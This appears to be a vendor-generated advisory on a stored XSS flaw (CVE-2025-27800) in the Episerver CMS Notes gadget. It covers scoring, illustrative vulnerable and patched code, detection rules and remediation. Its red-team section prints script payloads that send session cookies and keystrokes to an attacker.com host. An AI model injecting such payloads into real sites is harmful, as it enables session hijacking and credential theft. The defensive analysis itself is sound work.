CVE-2025-27800
Executive Summary
CVE-2025-27800 identifies multiple Stored Cross-Site Scripting (XSS) vulnerabilities in the Optimizely Episerver Content Management System (CMS). An authenticated attacker with "WebAdmin" privileges can inject malicious JavaScript into the "Notes" gadget on the Admin dashboard. When a victim (e.g., another admin) visits the dashboard, the injected script executes in their browser, potentially leading to session hijacking, data theft, or further compromise. The vulnerability affects Episerver CMS versions 11.X and 12.X with specific sub-component versions. No public exploit code or proof-of-concept is currently available, and the EPSS score is 0.0%, indicating low exploitation activity. However, the risk is significant for organizations using affected versions, as it allows privilege escalation within the admin panel.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary .NET-based CMS platform (Optimizely Episerver). The supply chain risk is limited to the vendor's own distribution channels; no third-party package dependencies are involved.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector: Network (AV:N) – The vulnerability is exploitable over the network.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: Low (PR:L) – Attacker needs "WebAdmin" access.
- User Interaction: Required (UI:R) – Victim must visit the dashboard.
- Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited data exposure.
- Integrity Impact: Low (I:L) – Limited modification of data.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. The requirement for authenticated access and user interaction reduces the immediate risk, but the potential for admin-level compromise makes it a priority for patching.
Deep Dive & Mechanics
The vulnerability resides in the Admin dashboard's "Notes" gadget. This gadget allows authenticated users with "WebAdmin" privileges to add personal notes. The input is not properly sanitized or encoded before being stored and later rendered in the victim's browser.
Attack Flow:
- An attacker with "WebAdmin" access logs into the Episerver CMS.
- The attacker navigates to the Admin dashboard and adds a new "Notes" gadget.
- The attacker inserts malicious JavaScript into the note content, e.g.,
<script>alert('XSS')</script>. - The note is stored in the database without proper encoding.
- When a victim (another admin) visits the dashboard, the note content is rendered, and the script executes in the victim's browser context.
- The attacker can then steal session cookies, perform actions on behalf of the victim, or deface the dashboard.
Root Cause: Lack of output encoding or input sanitization in the Notes gadget rendering logic. The application likely uses @Html.Raw() or similar methods without escaping.
Vulnerable vs. Patched Code
Vulnerable Code (C# Razor View):
@foreach (var note in Model.Notes)
{
<div class="note">
@Html.Raw(note.Content)
</div>
}
Patched Code (C# Razor View):
@foreach (var note in Model.Notes)
{
<div class="note">
@Html.Encode(note.Content)
</div>
}
Explanation: The vulnerable code uses @Html.Raw() which outputs the string without HTML encoding, allowing script injection. The patched code uses @Html.Encode() (or equivalent) to escape HTML characters, preventing XSS.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- Access to an Episerver CMS instance with "WebAdmin" privileges.
- Knowledge of the victim's dashboard URL.
Exploitation Steps:
- Log in as an attacker with "WebAdmin" role.
- Navigate to
/episerver/cms/admin(or similar admin dashboard URL). - Add a "Notes" gadget if not already present.
- In the note content, inject a payload such as:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the note.
- Wait for the victim to visit the dashboard. The script will execute and exfiltrate the victim's session cookie.
Payload Examples:
- Session theft:
<script>new Image().src='https://attacker.com/steal?c='+document.cookie</script> - Keylogging:
<script>document.onkeypress=function(e){fetch('https://attacker.com/key?k='+e.key)}</script>
Blue Team (Defender)
Detection:
- Monitor for unusual JavaScript execution in admin dashboard pages.
- Look for HTTP requests to external domains from the admin interface.
- Review audit logs for modifications to the Notes gadget.
Hunting:
- Search for
<script>tags or event handlers in the Notes database table. - Use the Sigma rule below to detect suspicious note content.
Mitigation:
- Apply the vendor patch immediately.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Restrict "WebAdmin" access to trusted users only.
Indicators of Compromise (IOCs)
- Network:
- Outbound HTTP requests to unknown domains from the CMS server.
- Unusual
Refererheaders pointing to/episerver/cms/admin.
- Host:
- Presence of
<script>tags in theNotesdatabase table (e.g.,tblNotesor similar). - Modified note content containing JavaScript.
- Presence of
- Logs:
- Audit log entries showing creation or modification of Notes gadget by non-admin users.
- Repeated failed login attempts followed by successful note modification.
Detection Engineering
YARA Rule
rule CVE_2025_27800_Stored_XSS_Notes {
meta:
description = "Detects stored XSS payloads in Episerver Notes gadget"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-27800"
strings:
$script_tag = /<script[\s>]/ nocase
$on_event = /on\w+\s*=/ nocase
$javascript = /javascript\s*:/ nocase
condition:
any of them
}
Sigma Rule
title: Stored XSS in Episerver Notes Gadget
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential stored XSS payloads in Episerver CMS Notes gadget
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: episerver
detection:
selection:
cs-uri-query|contains:
- '/episerver/cms/admin'
cs-method: 'POST'
cs-uri-query|contains:
- 'Notes'
- 'SaveNote'
condition: selection
falsepositives:
- Legitimate use of HTML in notes (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-27800 Stored XSS Exfiltration"; flow:to_server,established; content:"/episerver/cms/admin"; http_uri; content:"POST"; http_method; content:"Notes"; http_uri; pcre:"/<script[\s>]/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Patch: Upgrade EPiServer.CMS.Core to >=11.21.4 (11.X) or >=12.22.1 (12.X) and EPiServer.CMS.UI to >=11.37.5 (11.X) or >=11.37.3 (12.X).
- Workaround: If patching is not possible, disable the Notes gadget via configuration or remove "WebAdmin" permissions from non-essential users.
- CSP: Implement a strict Content Security Policy that disallows inline scripts:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
Long-Term Measures:
- Conduct a code review of all user input handling in the CMS.
- Implement output encoding for all user-generated content.
- Enable audit logging for all admin actions.
- Regularly update the CMS to the latest version.
Valters IT Signature
Report generated by Valters IT DevSecOps & CTI Division